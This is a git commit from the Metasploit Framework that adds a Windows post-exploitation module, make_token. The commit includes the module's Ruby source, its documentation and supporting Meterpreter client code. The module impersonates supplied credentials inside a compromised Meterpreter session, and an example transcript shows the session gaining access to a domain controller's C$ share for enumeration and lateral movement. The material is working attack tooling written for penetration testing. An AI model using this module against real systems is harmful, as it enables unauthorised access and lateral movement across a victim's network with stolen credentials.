Land #18022, Add post/windows/manage/make_token

Add update_token to MSF + make_token post-ex module
This commit is contained in:
Spencer McIntyre 2023-06-08 14:53:22 -04:00
commit 5b5c29842c
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
4 changed files with 191 additions and 0 deletions

View File

@ -0,0 +1,85 @@
## Vulnerable Application
In its default configuration, this module creates a new network security context with the specified
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
a new logon session is created and linked to that token. The token is then impersonated to acquire
the new network security context. This module has no effect on local actions - only on remote ones
(where the specified credential material will be used). This module does not validate the credentials
specified.
## Verification Steps
1. Start msfconsole
2. Get a Meterpreter session
3. Do: `use post/windows/manage/make_token`
4. Set the `USERNAME`, `PASSWORD` and `DOMAIN` options
5. Run the module
## Options
### USERNAME
Username to use
### PASSWORD
Password to use
### DOMAIN
Domain to use
### LOGONTYPE
The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`)
### LOGONTYPE
This module defaults to `LOGON32_LOGON_NEW_CREDENTIALS` so as to mimic the behaviour of Cobalt Strike's
[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command.
However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at
<https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera>, by checking the
`dwLogonType` flag.
## Scenarios
This module can be used as an alternative to modules like `post/windows/manage/run_as` or
`post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified
credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on
behalf of the impersonated user.
### Limitations
In its default configuration, this module does not require privileges to create a new security context (new access
token). Despite of this, some actions with the new token might require privileges. For example, in order to create a
process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or
[CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
- administrative privileges are needed. This means that if you use this module with a non-privileged user, your new
processes will not inherit `make_token`'s security context.
### Example
```
meterpreter > getuid
Server username: CAP\vegeta
meterpreter > ls \\\\dc01\\C$
[-] stdapi_fs_stat: Operation failed: Access is denied.
meterpreter > run post/windows/manage/make_token username=bulma_da password=Patatas123 domain=capsule.corp
[*] Executing rev2self to revert any previous token impersonations
[*] Executing LogonUserA with the flag LOGON32_LOGON_NEW_CREDENTIALS to create a new security context for capsule.corp\bulma_da
[*] Impersonating the new security context...
[+] The session should now run with the new security context!
[!] Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)
meterpreter > ls \\\\dc01\\C$
Listing: \\dc01\C$
==================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2023-05-19 12:06:35 +0200 $WinREAgent
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Documents and Settings
100666/rw-rw-rw- 12288 fil 2023-06-06 09:25:56 +0200 DumpStack.log.tmp
040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 PerfLogs
040555/r-xr-xr-x 0 dir 2023-05-19 09:53:15 +0200 Program Files
040777/rwxrwxrwx 0 dir 2021-05-08 11:40:15 +0200 Program Files (x86)
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:33 +0200 ProgramData
040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Recovery
040777/rwxrwxrwx 0 dir 2023-05-19 09:55:58 +0200 System Volume Information
040555/r-xr-xr-x 0 dir 2023-05-19 09:44:15 +0200 Users
040777/rwxrwxrwx 0 dir 2023-05-19 09:52:08 +0200 Windows
100666/rw-rw-rw- 402653184 fil 2023-06-06 09:25:56 +0200 pagefile.sys
```

View File

@ -129,6 +129,7 @@ COMMAND_ID_STDAPI_AUDIO_MIC_STOP = EXTENSION_ID_STDAPI + 116
COMMAND_ID_STDAPI_AUDIO_MIC_LIST = EXTENSION_ID_STDAPI + 117
COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE = EXTENSION_ID_STDAPI + 118
COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH = EXTENSION_ID_STDAPI + 119
COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN = EXTENSION_ID_STDAPI + 120
end; end; end; end; end

View File

@ -166,6 +166,15 @@ class Config
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
end
#
# Updates the current token for impersonation
#
def update_token(token_handle)
req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN)
req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i)
res = client.send_request(req)
end
#
# Enables all possible privileges
#

View File

@ -0,0 +1,96 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Make Token Command',
'Description' => %q{
In its default configuration, this module creates a new network security context with the specified
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
a new logon session is created and linked to that token. The token is then impersonated to acquire
the new network security context. This module has no effect on local actions - only on remote ones
(where the specified credential material will be used). This module does not validate the credentials
specified.
},
'License' => MSF_LICENSE,
'Notes' => {
'AKA' => ['make_token', 'maketoken'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
},
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Daniel López Jiménez (attl4s)',
'Simone Salucci (saim1z)'
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_config_revert_to_self
stdapi_sys_config_update_token
]
}
}
)
)
register_options(
[
OptString.new('DOMAIN', [true, 'Domain to use' ]),
OptString.new('USERNAME', [true, 'Username to use' ]),
OptString.new('PASSWORD', [true, 'Password to use' ])
]
)
register_advanced_options(
[
OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]),
]
)
end
def run
# Make sure we meet the requirements before running the script
fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
# check/set vars
user = datastore['USERNAME']
password = datastore['PASSWORD']
domain = datastore['DOMAIN']
logontype = datastore['LOGONTYPE']
# revert any existing impersonation before doing a new one
print_status('Executing rev2self to revert any previous token impersonations')
session.sys.config.revert_to_self
# create new logon session / token pair
print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}")
logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4)
if logon_user['return']
# get the token handle
ph_token = logon_user['phToken']
print_status('Impersonating the new security context...')
# store the token within the server
session.sys.config.update_token(ph_token)
print_good('The session should now run with the new security context!')
# send warning
if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
print_warning('Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)')
end
else
print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
end
end